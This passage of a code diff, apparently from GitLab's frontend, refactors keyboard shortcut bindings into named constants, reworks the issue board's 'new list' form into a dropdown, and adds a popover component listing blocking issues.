+ ShortcutsIssuable.openSidebarDropdown('labels'),
+ );
+ Mousetrap.bind(keysFor(ISSUABLE_COMMENT_OR_REPLY), ShortcutsIssuable.replyWithSelectedText);
+ Mousetrap.bind(keysFor(ISSUABLE_EDIT_DESCRIPTION), ShortcutsIssuable.editIssue);
+ Mousetrap.bind(keysFor(MR_COPY_SOURCE_BRANCH_NAME), ShortcutsIssuable.copyBranchName);
}
static replyWithSelectedText() {
@@ -105,7 +120,7 @@ export default class ShortcutsIssuable extends Shortcuts {
static copyBranchName() {
// There are two buttons - one that is shown when the sidebar
// is expanded, and one that is shown when it's collapsed.
- const allCopyBtns = Array.from(document.querySelectorAll('.sidebar-source-branch button'));
+ const allCopyBtns = Array.from(document.querySelectorAll('.js-sidebar-source-branch button'));
// Select whichever button is currently visible so that
// the "Copied" tooltip is shown when a click is simulated.
diff --git a/app/assets/javascripts/behaviors/shortcuts/shortcuts_navigation.js b/app/assets/javascripts/behaviors/shortcuts/shortcuts_navigation.js
index b46b4132ba8..b188d3b0ec3 100644
--- a/app/assets/javascripts/behaviors/shortcuts/shortcuts_navigation.js
+++ b/app/assets/javascripts/behaviors/shortcuts/shortcuts_navigation.js
@@ -1,27 +1,63 @@
import Mousetrap from 'mousetrap';
import findAndFollowLink from '../../lib/utils/navigation_utility';
+import {
+ keysFor,
+ GO_TO_PROJECT_OVERVIEW,
+ GO_TO_PROJECT_ACTIVITY_FEED,
+ GO_TO_PROJECT_RELEASES,
+ GO_TO_PROJECT_FILES,
+ GO_TO_PROJECT_COMMITS,
+ GO_TO_PROJECT_JOBS,
+ GO_TO_PROJECT_REPO_GRAPH,
+ GO_TO_PROJECT_REPO_CHARTS,
+ GO_TO_PROJECT_ISSUES,
+ GO_TO_PROJECT_ISSUE_BOARDS,
+ GO_TO_PROJECT_MERGE_REQUESTS,
+ GO_TO_PROJECT_WIKI,
+ GO_TO_PROJECT_SNIPPETS,
+ GO_TO_PROJECT_KUBERNETES,
+ GO_TO_PROJECT_ENVIRONMENTS,
+ GO_TO_PROJECT_METRICS,
+ NEW_ISSUE,
+} from './keybindings';
import Shortcuts from './shortcuts';
export default class ShortcutsNavigation extends Shortcuts {
constructor() {
super();
- Mousetrap.bind('g p', () => findAndFollowLink('.shortcuts-project'));
- Mousetrap.bind('g v', () => findAndFollowLink('.shortcuts-project-activity'));
- Mousetrap.bind('g r', () => findAndFollowLink('.shortcuts-project-releases'));
- Mousetrap.bind('g f', () => findAndFollowLink('.shortcuts-tree'));
- Mousetrap.bind('g c', () => findAndFollowLink('.shortcuts-commits'));
- Mousetrap.bind('g j', () => findAndFollowLink('.shortcuts-builds'));
- Mousetrap.bind('g n', () => findAndFollowLink('.shortcuts-network'));
- Mousetrap.bind('g d', () => findAndFollowLink('.shortcuts-repository-charts'));
- Mousetrap.bind('g i', () => findAndFollowLink('.shortcuts-issues'));
- Mousetrap.bind('g b', () => findAndFollowLink('.shortcuts-issue-boards'));
- Mousetrap.bind('g m', () => findAndFollowLink('.shortcuts-merge_requests'));
- Mousetrap.bind('g w', () => findAndFollowLink('.shortcuts-wiki'));
- Mousetrap.bind('g s', () => findAndFollowLink('.shortcuts-snippets'));
- Mousetrap.bind('g k', () => findAndFollowLink('.shortcuts-kubernetes'));
- Mousetrap.bind('g e', () => findAndFollowLink('.shortcuts-environments'));
- Mousetrap.bind('g l', () => findAndFollowLink('.shortcuts-metrics'));
- Mousetrap.bind('i', () => findAndFollowLink('.shortcuts-new-issue'));
+ Mousetrap.bind(keysFor(GO_TO_PROJECT_OVERVIEW), () => findAndFollowLink('.shortcuts-project'));
+ Mousetrap.bind(keysFor(GO_TO_PROJECT_ACTIVITY_FEED), () =>
+ findAndFollowLink('.shortcuts-project-activity'),
+ );
+ Mousetrap.bind(keysFor(GO_TO_PROJECT_RELEASES), () =>
+ findAndFollowLink('.shortcuts-project-releases'),
+ );
+ Mousetrap.bind(keysFor(GO_TO_PROJECT_FILES), () => findAndFollowLink('.shortcuts-tree'));
+ Mousetrap.bind(keysFor(GO_TO_PROJECT_COMMITS), () => findAndFollowLink('.shortcuts-commits'));
+ Mousetrap.bind(keysFor(GO_TO_PROJECT_JOBS), () => findAndFollowLink('.shortcuts-builds'));
+ Mousetrap.bind(keysFor(GO_TO_PROJECT_REPO_GRAPH), () =>
+ findAndFollowLink('.shortcuts-network'),
+ );
+ Mousetrap.bind(keysFor(GO_TO_PROJECT_REPO_CHARTS), () =>
+ findAndFollowLink('.shortcuts-repository-charts'),
+ );
+ Mousetrap.bind(keysFor(GO_TO_PROJECT_ISSUES), () => findAndFollowLink('.shortcuts-issues'));
+ Mousetrap.bind(keysFor(GO_TO_PROJECT_ISSUE_BOARDS), () =>
+ findAndFollowLink('.shortcuts-issue-boards'),
+ );
+ Mousetrap.bind(keysFor(GO_TO_PROJECT_MERGE_REQUESTS), () =>
+ findAndFollowLink('.shortcuts-merge_requests'),
+ );
+ Mousetrap.bind(keysFor(GO_TO_PROJECT_WIKI), () => findAndFollowLink('.shortcuts-wiki'));
+ Mousetrap.bind(keysFor(GO_TO_PROJECT_SNIPPETS), () => findAndFollowLink('.shortcuts-snippets'));
+ Mousetrap.bind(keysFor(GO_TO_PROJECT_KUBERNETES), () =>
+ findAndFollowLink('.shortcuts-kubernetes'),
+ );
+ Mousetrap.bind(keysFor(GO_TO_PROJECT_ENVIRONMENTS), () =>
+ findAndFollowLink('.shortcuts-environments'),
+ );
+ Mousetrap.bind(keysFor(GO_TO_PROJECT_METRICS), () => findAndFollowLink('.shortcuts-metrics'));
+ Mousetrap.bind(keysFor(NEW_ISSUE), () => findAndFollowLink('.shortcuts-new-issue'));
}
}
diff --git a/app/assets/javascripts/behaviors/shortcuts/shortcuts_network.js b/app/assets/javascripts/behaviors/shortcuts/shortcuts_network.js
index 3e791e4673a..c33c092b009 100644
--- a/app/assets/javascripts/behaviors/shortcuts/shortcuts_network.js
+++ b/app/assets/javascripts/behaviors/shortcuts/shortcuts_network.js
@@ -1,15 +1,24 @@
import Mousetrap from 'mousetrap';
+import {
+ keysFor,
+ REPO_GRAPH_SCROLL_BOTTOM,
+ REPO_GRAPH_SCROLL_DOWN,
+ REPO_GRAPH_SCROLL_LEFT,
+ REPO_GRAPH_SCROLL_RIGHT,
+ REPO_GRAPH_SCROLL_TOP,
+ REPO_GRAPH_SCROLL_UP,
+} from './keybindings';
import ShortcutsNavigation from './shortcuts_navigation';
export default class ShortcutsNetwork extends ShortcutsNavigation {
constructor(graph) {
super();
- Mousetrap.bind(['left', 'h'], graph.scrollLeft);
- Mousetrap.bind(['right', 'l'], graph.scrollRight);
- Mousetrap.bind(['up', 'k'], graph.scrollUp);
- Mousetrap.bind(['down', 'j'], graph.scrollDown);
- Mousetrap.bind(['shift+up', 'shift+k'], graph.scrollTop);
- Mousetrap.bind(['shift+down', 'shift+j'], graph.scrollBottom);
+ Mousetrap.bind(keysFor(REPO_GRAPH_SCROLL_LEFT), graph.scrollLeft);
+ Mousetrap.bind(keysFor(REPO_GRAPH_SCROLL_RIGHT), graph.scrollRight);
+ Mousetrap.bind(keysFor(REPO_GRAPH_SCROLL_UP), graph.scrollUp);
+ Mousetrap.bind(keysFor(REPO_GRAPH_SCROLL_DOWN), graph.scrollDown);
+ Mousetrap.bind(keysFor(REPO_GRAPH_SCROLL_TOP), graph.scrollTop);
+ Mousetrap.bind(keysFor(REPO_GRAPH_SCROLL_BOTTOM), graph.scrollBottom);
}
}
diff --git a/app/assets/javascripts/behaviors/shortcuts/shortcuts_toggle.vue b/app/assets/javascripts/behaviors/shortcuts/shortcuts_toggle.vue
index 8418c0f66ac..6cbe443062a 100644
--- a/app/assets/javascripts/behaviors/shortcuts/shortcuts_toggle.vue
+++ b/app/assets/javascripts/behaviors/shortcuts/shortcuts_toggle.vue
@@ -1,9 +1,13 @@
<script>
import { GlToggle } from '@gitlab/ui';
import AccessorUtilities from '~/lib/utils/accessor';
+import { __ } from '~/locale';
import { disableShortcuts, enableShortcuts, shouldDisableShortcuts } from './shortcuts_toggle';
export default {
+ i18n: {
+ toggleLabel: __('Keyboard shortcuts'),
+ },
components: {
GlToggle,
},
@@ -31,7 +35,7 @@ export default {
<gl-toggle
v-model="shortcutsEnabled"
aria-describedby="shortcutsToggle"
- label="Keyboard shortcuts"
+ :label="$options.i18n.toggleLabel"
label-position="left"
@change="onChange"
/>
diff --git a/app/assets/javascripts/behaviors/shortcuts/shortcuts_wiki.js b/app/assets/javascripts/behaviors/shortcuts/shortcuts_wiki.js
index c609936a02a..59c1d2654bc 100644
--- a/app/assets/javascripts/behaviors/shortcuts/shortcuts_wiki.js
+++ b/app/assets/javascripts/behaviors/shortcuts/shortcuts_wiki.js
@@ -1,11 +1,12 @@
import Mousetrap from 'mousetrap';
import findAndFollowLink from '../../lib/utils/navigation_utility';
+import { keysFor, EDIT_WIKI_PAGE } from './keybindings';
import ShortcutsNavigation from './shortcuts_navigation';
export default class ShortcutsWiki extends ShortcutsNavigation {
constructor() {
super();
- Mousetrap.bind('e', ShortcutsWiki.editWiki);
+ Mousetrap.bind(keysFor(EDIT_WIKI_PAGE), ShortcutsWiki.editWiki);
}
static editWiki() {
diff --git a/app/assets/javascripts/blob/components/blob_content.vue b/app/assets/javascripts/blob/components/blob_content.vue
index eb7f45cba6f..f5f06436bcc 100644
--- a/app/assets/javascripts/blob/components/blob_content.vue
+++ b/app/assets/javascripts/blob/components/blob_content.vue
@@ -21,6 +21,11 @@ export default {
default: '',
required: false,
},
+ isRawContent: {
+ type: Boolean,
+ default: false,
+ required: false,
+ },
loading: {
type: Boolean,
default: true,
@@ -65,6 +70,8 @@ export default {
v-else
ref="contentViewer"
:content="content"
+ :is-raw-content="isRawContent"
+ :file-name="blob.name"
:type="activeViewer.fileType"
data-qa-selector="file_content"
/>
diff --git a/app/assets/javascripts/blob/file_template_selector.js b/app/assets/javascripts/blob/file_template_selector.js
index a5c8050b772..e02217d0deb 100644
--- a/app/assets/javascripts/blob/file_template_selector.js
+++ b/app/assets/javascripts/blob/file_template_selector.js
@@ -19,6 +19,17 @@ export default class FileTemplateSelector {
this.$dropdownToggleText = this.$wrapper.find('.dropdown-toggle-text');
this.initDropdown();
+ this.selectInitialTemplate();
+ }
+
+ selectInitialTemplate() {
+ const template = this.$dropdown.data('selected');
+
+ if (!template) {
+ return;
+ }
+
+ this.mediator.selectTemplateFile(this, template);
}
show() {
@@ -27,6 +38,19 @@ export default class FileTemplateSelector {
}
this.$wrapper.removeClass('hidden');
+
+ /**
+ * We set the focus on the dropdown that was just shown. This is done so that, after selecting
+ * a template type, the template selector immediately receives the focus.
+ * This improves the UX of the tour as the suggest_gitlab_ci_yml popover requires its target to
+ * be have the focus to appear. This way, users don't have to interact with the template
+ * selector to actually see the first hint: it is shown as soon as the selector becomes visible.
+ * We also need a timeout here, otherwise the template type selector gets stuck and can not be
+ * closed anymore.
+ */
+ setTimeout(() => {
+ this.$dropdown.focus();
+ }, 0);
}
hide() {
@@ -36,7 +60,7 @@ export default class FileTemplateSelector {
}
isHidden() {
- return this.$wrapper.hasClass('hidden');
+ return !this.$wrapper || this.$wrapper.hasClass('hidden');
}
getToggleText() {
diff --git a/app/assets/javascripts/blob/stl_viewer.js b/app/assets/javascripts/blob/stl_viewer.js
index 339906adc34..0ea623a705a 100644
--- a/app/assets/javascripts/blob/stl_viewer.js
+++ b/app/assets/javascripts/blob/stl_viewer.js
@@ -9,8 +9,8 @@ export default () => {
e.preventDefault();
- document.querySelector('.js-material-changer.active').classList.remove('active');
- target.classList.add('active');
+ document.querySelector('.js-material-changer.selected').classList.remove('selected');
+ target.classList.add('selected');
target.blur();
viewer.changeObjectMaterials(target.dataset.type);
diff --git a/app/assets/javascripts/blob/suggest_gitlab_ci_yml/components/popover.vue b/app/assets/javascripts/blob/suggest_gitlab_ci_yml/components/popover.vue
index 6fee40fb061..aee8bf15e44 100644
--- a/app/assets/javascripts/blob/suggest_gitlab_ci_yml/components/popover.vue
+++ b/app/assets/javascripts/blob/suggest_gitlab_ci_yml/components/popover.vue
@@ -108,7 +108,6 @@ export default {
show
:target="target"
placement="right"
- trigger="manual"
container="viewport"
:css-classes="['suggest-gitlab-ci-yml', 'ml-4']"
>
diff --git a/app/assets/javascripts/blob_edit/edit_blob.js b/app/assets/javascripts/blob_edit/edit_blob.js
index 7c8f6646c0d..ab2fc80e653 100644
--- a/app/assets/javascripts/blob_edit/edit_blob.js
+++ b/app/assets/javascripts/blob_edit/edit_blob.js
@@ -43,7 +43,7 @@ export default class EditBlob {
blobPath: fileNameEl.value,
blobContent: editorEl.innerText,
});
- this.editor.use(new FileTemplateExtension());
+ this.editor.use(new FileTemplateExtension({ instance: this.editor }));
fileNameEl.addEventListener('change', () => {
this.editor.updateModelLanguage(fileNameEl.value);
@@ -82,7 +82,7 @@ export default class EditBlob {
this.$editModePanes.hide();
- currentPane.fadeIn(200);
+ currentPane.show();
if (paneId === '#preview') {
this.$toggleButton.hide();
diff --git a/app/assets/javascripts/boards/boards_util.js b/app/assets/javascripts/boards/boards_util.js
index 2cd25f58770..a8b870f9b8e 100644
--- a/app/assets/javascripts/boards/boards_util.js
+++ b/app/assets/javascripts/boards/boards_util.js
@@ -1,4 +1,4 @@
-import { sortBy } from 'lodash';
+import { sortBy, cloneDeep } from 'lodash';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import { ListType, NOT_FILTER } from './constants';
@@ -113,6 +113,37 @@ export function formatIssueInput(issueInput, boardConfig) {
};
}
+export function shouldCloneCard(fromListType, toListType) {
+ const involvesClosed = fromListType === ListType.closed || toListType === ListType.closed;
+ const involvesBacklog = fromListType === ListType.backlog || toListType === ListType.backlog;
+
+ if (involvesClosed || involvesBacklog) {
+ return false;
+ }
+
+ if (fromListType !== toListType) {
+ return true;
+ }
+
+ return false;
+}
+
+export function getMoveData(state, params) {
+ const { boardItems, boardItemsByListId, boardLists } = state;
+ const { itemId, fromListId, toListId } = params;
+ const fromListType = boardLists[fromListId].listType;
+ const toListType = boardLists[toListId].listType;
+
+ return {
+ reordering: fromListId === toListId,
+ shouldClone: shouldCloneCard(fromListType, toListType),
+ itemNotInToList: !boardItemsByListId[toListId].includes(itemId),
+ originalIssue: cloneDeep(boardItems[itemId]),
+ originalIndex: boardItemsByListId[fromListId].indexOf(itemId),
+ ...params,
+ };
+}
+
export function moveItemListHelper(item, fromList, toList) {
const updatedItem = item;
if (
diff --git a/app/assets/javascripts/boards/components/board_add_new_column.vue b/app/assets/javascripts/boards/components/board_add_new_column.vue
index 3c7c792b787..d4b559add6e 100644
--- a/app/assets/javascripts/boards/components/board_add_new_column.vue
+++ b/app/assets/javascripts/boards/components/board_add_new_column.vue
@@ -1,23 +1,16 @@
<script>
-import {
- GlFormRadio,
- GlFormRadioGroup,
- GlLabel,
- GlTooltipDirective as GlTooltip,
-} from '@gitlab/ui';
+import { GlFormRadio, GlFormRadioGroup, GlTooltipDirective as GlTooltip } from '@gitlab/ui';
import { mapActions, mapGetters, mapState } from 'vuex';
import BoardAddNewColumnForm from '~/boards/components/board_add_new_column_form.vue';
import { ListType } from '~/boards/constants';
import boardsStore from '~/boards/stores/boards_store';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import { isScopedLabel } from '~/lib/utils/common_utils';
export default {
components: {
BoardAddNewColumnForm,
GlFormRadio,
GlFormRadioGroup,
- GlLabel,
},
directives: {
GlTooltip,
@@ -26,17 +19,12 @@ export default {
data() {
return {
selectedId: null,
+ selectedLabel: null,
};
},
computed: {
...mapState(['labels', 'labelsLoading']),
...mapGetters(['getListByLabelId', 'shouldUseGraphQL']),
- selectedLabel() {
- if (!this.selectedId) {
- return null;
- }
- return this.labels.find(({ id }) => id === this.selectedId);
- },
columnForSelected() {
return this.getListByLabelId(this.selectedId);
},
@@ -89,8 +77,13 @@ export default {
this.fetchLabels(searchTerm);
},
- showScopedLabels(label) {
- return this.scopedLabelsAvailable && isScopedLabel(label);
+ setSelectedItem(selectedId) {
+ const label = this.labels.find(({ id }) => id === selectedId);
+ if (!selectedId || !label) {
+ this.selectedLabel = null;
+ } else {
+ this.selectedLabel = { ...label };
+ }
},
},
};
@@ -99,38 +92,39 @@ export default {
<template>
<board-add-new-column-form
:loading="labelsLoading"
- :form-description="__('A label list displays issues with the selected label.')"
- :search-label="__('Select label')"
+ :none-selected="__('Select a label')"
:search-placeholder="__('Search labels')"
:selected-id="selectedId"
@filter-items="filterItems"
@add-list="addList"
>
- <template slot="selected">
- <gl-label
- v-if="selectedLabel"
- v-gl-tooltip
- :title="selectedLabel.title"
- :description="selectedLabel.description"
- :background-color="selectedLabel.color"
- :scoped="showScopedLabels(selectedLabel)"
- />
+ <template #selected>
+ <template v-if="selectedLabel">
+ <span
+ class="dropdown-label-box gl-top-0 gl-flex-shrink-0"
+ :style="{
+ backgroundColor: selectedLabel.color,
+ }"
+ ></span>
+ <div class="gl-text-truncate">{{ selectedLabel.title }}</div>
+ </template>
</template>
- <template slot="items">
+ <template #items>
<gl-form-radio-group
v-if="labels.length > 0"
v-model="selectedId"
class="gl-overflow-y-auto gl-px-5 gl-pt-3"
+ @change="setSelectedItem"
>
<label
v-for="label in labels"
:key="label.id"
- class="gl-display-flex gl-flex-align-items-center gl-mb-5 gl-font-weight-normal"
+ class="gl-display-flex gl-mb-5 gl-font-weight-normal gl-overflow-break-word"
>
- <gl-form-radio :value="label.id" class="gl-mb-0" />
+ <gl-form-radio :value="label.id" />
<span
- class="dropdown-label-box gl-top-0"
+ class="dropdown-label-box gl-top-0 gl-flex-shrink-0"
:style="{
backgroundColor: label.color,
}"
diff --git a/app/assets/javascripts/boards/components/board_add_new_column_form.vue b/app/assets/javascripts/boards/components/board_add_new_column_form.vue
index d85343a5390..70ba90bb1d4 100644
--- a/app/assets/javascripts/boards/components/board_add_new_column_form.vue
+++ b/app/assets/javascripts/boards/components/board_add_new_column_form.vue
@@ -1,5 +1,12 @@
<script>
-import { GlButton, GlFormGroup, GlSearchBoxByType, GlSkeletonLoader } from '@gitlab/ui';
+import {
+ GlButton,
+ GlDropdown,
+ GlFormGroup,
+ GlIcon,
+ GlSearchBoxByType,
+ GlSkeletonLoader,
+} from '@gitlab/ui';
import { mapActions } from 'vuex';
import { __ } from '~/locale';
@@ -8,13 +15,16 @@ export default {
add: __('Add to board'),
cancel: __('Cancel'),
newList: __('New list'),
- noneSelected: __('None'),
noResults: __('No matching results'),
+ scope: __('Scope'),
+ scopeDescription: __('Issues must match this scope to appear in this list.'),
selected: __('Selected'),
},
components: {
GlButton,
+ GlDropdown,
GlFormGroup,
+ GlIcon,
GlSearchBoxByType,
GlSkeletonLoader,
},
@@ -23,11 +33,12 @@ export default {
type: Boolean,
required: true,
},
- formDescription: {
+ searchLabel: {
type: String,
- required: true,
+ required: false,
+ default: null,
},
- searchLabel: {
+ noneSelected: {
type: String,
required: true,
},
@@ -46,8 +57,23 @@ export default {
searchValue: '',
};
},
+ watch: {
+ selectedId(val) {
+ if (val) {
+ this.$refs.dropdown.hide(true);
+ }
+ },
+ },
methods: {
...mapActions(['setAddColumnFormVisibility']),
+ setFocus() {
+ this.$refs.searchBox.focusInput();
+ },
+ onHide() {
+ this.searchValue = '';
+ this.$emit('filter-items', '');
+ this.$emit('hide');
+ },
},
};
</script>
@@ -62,51 +88,64 @@ export default {
class="board-inner gl-display-flex gl-flex-direction-column gl-relative gl-h-full gl-rounded-base gl-bg-white"
>
<h3
- class="gl-font-base gl-px-5 gl-py-5 gl-m-0 gl-border-b-1 gl-border-b-solid gl-border-b-gray-100"
+ class="gl-font-size-h2 gl-px-5 gl-py-4 gl-m-0 gl-border-b-1 gl-border-b-solid gl-border-b-gray-100"
data-testid="board-add-column-form-title"
>
{{ $options.i18n.newList }}
</h3>
- <div class="gl-display-flex gl-flex-direction-column gl-h-full gl-overflow-hidden">
- <slot name="select-list-type">
- <div class="gl-mb-5"></div>
- </slot>
+ <div
+ class="gl-display-flex gl-flex-direction-column gl-h-full gl-overflow-y-auto gl-align-items-flex-start"
+ >
+ <div class="gl-px-5">
+ <h3 class="gl-font-lg gl-mt-5 gl-mb-2">
+ {{ $options.i18n.scope }}
+ </h3>
+ <p class="gl-mb-3">{{ $options.i18n.scopeDescription }}</p>
+ </div>
- <p class="gl-px-5">{{ formDescription }}</p>
+ <slot name="select-list-type"></slot>
- <div class="gl-px-5 gl-pb-4">
- <label class="gl-mb-2">{{ $options.i18n.selected }}</label>
- <slot name="selected">
- <div class="gl-text-gray-500">{{ $options.i18n.noneSelected }}</div>
- </slot>
- </div>
+ <gl-form-group class="gl-px-5 lg-mb-3 gl-max-w-full" :label="searchLabel">
+ <gl-dropdown
+ ref="dropdown"
+ class="gl-mb-3 gl-max-w-full"
+ toggle-class="gl-max-w-full gl-display-flex gl-align-items-center gl-text-trunate"
+ boundary="viewport"
+ @shown="setFocus"
+ @hide="onHide"
+ >
+ <template #button-content>
+ <slot name="selected">
+ <div>{{ noneSelected }}</div>
+ </slot>
+ <gl-icon class="dropdown-chevron gl-flex-shrink-0" name="chevron-down" />
+ </template>
- <gl-form-group
- class="gl-mx-5 gl-mb-3"
- :label="searchLabel"
- label-for="board-available-column-entities"
- >
- <gl-search-box-by-type
- id="board-available-column-entities"
- v-model="searchValue"
- debounce="250"
- :placeholder="searchPlaceholder"
- @input="$emit('filter-items', $event)"
- />
- </gl-form-group>
+ <template #header>
+ <gl-search-box-by-type
+ ref="searchBox"
+ v-model="searchValue"
+ debounce="250"
+ class="gl-mt-0!"
+ :placeholder="searchPlaceholder"
+ @input="$emit('filter-items', $event)"
+ />
+ </template>
- <div v-if="loading" class="gl-px-5">
- <gl-skeleton-loader :width="500" :height="172">
- <rect width="480" height="20" x="10" y="15" rx="4" />
- <rect width="380" height="20" x="10" y="50" rx="4" />
- <rect width="430" height="20" x="10" y="85" rx="4" />
- </gl-skeleton-loader>
- </div>
+ <div v-if="loading" class="gl-px-5">
+ <gl-skeleton-loader :width="400" :height="172">
+ <rect width="380" height="20" x="10" y="15" rx="4" />
+ <rect width="280" height="20" x="10" y="50" rx="4" />
+ <rect width="330" height="20" x="10" y="85" rx="4" />
+ </gl-skeleton-loader>
+ </div>
- <slot v-else name="items">
- <p class="gl-mx-5">{{ $options.i18n.noResults }}</p>
- </slot>
+ <slot v-else name="items">
+ <p class="gl-mx-5">{{ $options.i18n.noResults }}</p>
+ </slot>
+ </gl-dropdown>
+ </gl-form-group>
</div>
<div
class="gl-display-flex gl-p-3 gl-border-t-1 gl-border-t-solid gl-border-gray-100 gl-bg-gray-10 gl-rounded-bottom-left-base gl-rounded-bottom-right-base"
diff --git a/app/assets/javascripts/boards/components/board_add_new_column_trigger.vue b/app/assets/javascripts/boards/components/board_add_new_column_trigger.vue
index 7c08e33be7e..85f001d9d61 100644
--- a/app/assets/javascripts/boards/components/board_add_new_column_trigger.vue
+++ b/app/assets/javascripts/boards/components/board_add_new_column_trigger.vue
@@ -13,9 +13,9 @@ export default {
</script>
<template>
- <span class="gl-ml-3 gl-display-flex gl-align-items-center" data-testid="boards-create-list">
+ <div class="gl-ml-3 gl-display-flex gl-align-items-center" data-testid="boards-create-list">
<gl-button variant="confirm" @click="setAddColumnFormVisibility(true)"
>{{ __('Create list') }}
</gl-button>
- </span>
+ </div>
</template>
diff --git a/app/assets/javascripts/boards/components/board_blocked_icon.vue b/app/assets/javascripts/boards/components/board_blocked_icon.vue
new file mode 100644
index 00000000000..0f92e714752
--- /dev/null
+++ b/app/assets/javascripts/boards/components/board_blocked_icon.vue
@@ -0,0 +1,192 @@
+<script>
+import { GlIcon, GlLink, GlPopover, GlLoadingIcon } from '@gitlab/ui';
+import { blockingIssuablesQueries, issuableTypes } from '~/boards/constants';
+import { IssueType } from '~/graphql_shared/constants';
+import { convertToGraphQLId } from '~/graphql_shared/utils';
+import { truncate } from '~/lib/utils/text_utility';
+import { __, n__, s__, sprintf } from '~/locale';
+
+export default {
+ i18n: {
+ issuableType: {
+ [issuableTypes.issue]: __('issue'),
+ },
+ },
+ graphQLIdType: {
+ [issuableTypes.issue]: IssueType,
+ },
+ referenceFormatter: {
+ [issuableTypes.issue]: (r) => r.split('/')[1],
+ },
+ defaultDisplayLimit: 3,
+ textTruncateWidth: 80,
+ components: {
+ GlIcon,
+ GlPopover,
+ GlLink,
+ GlLoadingIcon,
+ },
+ blockingIssuablesQueries,
+ props: {
+ item: {
+ type: Object,
+ required: true,
+ },
+ uniqueId: {
+ type: String,
+ required: true,
+ },
+ issuableType: {
+ type: String,
+ required: true,
+ validator(value) {
+ return [issuableTypes.issue].includes(value);
+ },
+ },
+ },
+ apollo: {
+ blockingIssuables: {
+ skip() {
+ return this.skip;
+ },
+ query() {
+ return blockingIssuablesQueries[this.issuableType].query;
+ },
+ variables() {
+ return {
+ id: convertToGraphQLId(this.$options.graphQLIdType[this.issuableType], this.item.id),
+ };
+ },
+ update(data) {
+ this.skip = true;
+
+ return data?.issuable?.blockingIssuables?.nodes || [];
+ },
+ error(error) {
+ const message = sprintf(s__('Boards|Failed to fetch blocking %{issuableType}s'), {
+ issuableType: this.issuableTypeText,
+ });
+ this.$emit('blocking-issuables-error', { error, message });
+ },
+ },
+ },
+ data() {
+ return {
+ skip: true,
+ blockingIssuables: [],
+ };
+ },
+ computed: {
+ displayedIssuables() {
+ const { defaultDisplayLimit, referenceFormatter } = this.$options;
+ return this.blockingIssuables.slice(0, defaultDisplayLimit).map((i) => {
+ return {
+ ...i,
+ title: truncate(i.title, this.$options.textTruncateWidth),
+ reference: referenceFormatter[this.issuableType](i.reference),
+ };
+ });
+ },
+ loading() {
+ return this.$apollo.queries.blockingIssuables.loading;
+ },
+ issuableTypeText() {
+ return this.$options.i18n.issuableType[this.issuableType];
+ },
+ blockedLabel() {
+ return sprintf(
+ n__(
+ 'Boards|Blocked by %{blockedByCount} %{issuableType}',
+ 'Boards|Blocked by %{blockedByCount} %{issuableType}s',
+ this.item.blockedByCount,
+ ),
+ {
+ blockedByCount: this.item.blockedByCount,
+ issuableType: this.issuableTypeText,
+ },
+ );
+ },
+ glIconId() {
+ return `blocked-icon-${this.uniqueId}`;
+ },
+ hasMoreIssuables() {
+ return this.item.blockedByCount > this.$options.defaultDisplayLimit;
+ },
+ displayedIssuablesCount() {
+ return this.hasMoreIssuables
+ ? this.item.blockedByCount - this.$options.defaultDisplayLimit
+ : this.item.blockedByCount;
+ },
+ moreIssuablesText() {
+ return sprintf(
+ n__(
+ 'Boards|+ %{displayedIssuablesCount} more %{issuableType}',
+ 'Boards|+ %{displayedIssuablesCount} more %{issuableType}s',
+ this.displayedIssuablesCount,
+ ),
+ {
+ displayedIssuablesCount: this.displayedIssuablesCount,
+ issuableType: this.issuableTypeText,
+ },
+ );
+ },
+ viewAllIssuablesText() {
+ return sprintf(s__('Boards|View all blocking %{issuableType}s'), {
+ issuableType: this.issuableTypeText,
+ });
+ },
+ loadingMessage() {
+ return sprintf(s__('Boards|Retrieving blocking %{issuableType}s'), {
+ issuableType: this.issuableTypeText,
+ });
+ },
+ },
+ methods: {
+ handleMouseEnter() {
+ this.skip = false;
+ },
+ },
+};
+</script>
+<template>
+ <div class="gl-display-inline">
+ <gl-icon
+ :id="glIconId"
+ ref="icon"
+ name="issue-block"
+ class="issue-blocked-icon gl-mr-2 gl-cursor-pointer"
+ data-testid="issue-blocked-icon"
+ @mouseenter="handleMouseEnter"
+ />
+ <gl-popover :target="glIconId" placement="top">
+ <template #title
+ ><span data-testid="popover-title">{{ blockedLabel }}</span></template
+ >
+ <template v-if="loading">
+ <gl-loading-icon />
+ <p class="gl-mt-4 gl-mb-0 gl-font-small">{{ loadingMessage }}</p>
+ </template>
+ <template v-else>
+ <ul class="gl-list-style-none gl-p-0">
+ <li v-for="issuable in displayedIssuables" :key="issuable.id">
+ <gl-link :href="issuable.webUrl" class="gl-text-blue-500! gl-font-sm">{{
+ issuable.reference
+ }}</gl-link>
+ <p class="gl-mb-3 gl-display-block!" data-testid="issuable-title">
+ {{ issuable.title }}
+ </p>
+ </li>
+ </ul>
+ <div v-if="hasMoreIssuables" class="gl-mt-4">
+ <p class="gl-mb-3" data-testid="hidden-blocking-count">{{ moreIssuablesText }}</p>
+ <gl-link
+ data-testid="view-all-issues"
+ :href="`${item.webUrl}#related-issues`"
+ class="gl-text-blue-500! gl-font-sm"
+ >{{ viewAllIssuablesText }}</gl-link
+ >
+ </div>
+ </template>
+ </gl-popover>
+ </div>
+</template>
diff --git a/app/assets/javascripts/boards/components/board_card_inner.vue b/app/assets/javascripts/boards/components/board_card_inner.vue
index d4d6b17a589..9ff2cdd76d0 100644
--- a/app/assets/javascripts/boards/components/board_card_inner.vue
+++ b/app/assets/javascripts/boards/components/board_card_inner.vue
@@ -10,6 +10,7 @@ import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
import UserAvatarLink from '../../vue_shared/components/user_avatar/user_avatar_link.vue';
import { ListType } from '../constants';
import eventHub from '../eventhub';
+import BoardBlockedIcon from './board_blocked_icon.vue';
import IssueDueDate from './issue_due_date.vue';
import IssueTimeEstimate from './issue_time_estimate.vue';
@@ -22,6 +23,7 @@ export default {
IssueDueDate,
IssueTimeEstimate,
IssueCardWeight: () => import('ee_component/boards/components/issue_card_weight.vue'),
+ BoardBlockedIcon,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -52,7 +54,7 @@ export default {
};
},
computed: {
- ...mapState(['isShowingLabels']),
+ ...mapState(['isShowingLabels', 'issuableType']),
...mapGetters(['isEpicBoard']),
cappedAssignees() {
// e.g. maxRender is 4,
@@ -114,7 +116,7 @@ export default {
},
},
methods: {
- ...mapActions(['performSearch']),
+ ...mapActions(['performSearch', 'setError']),
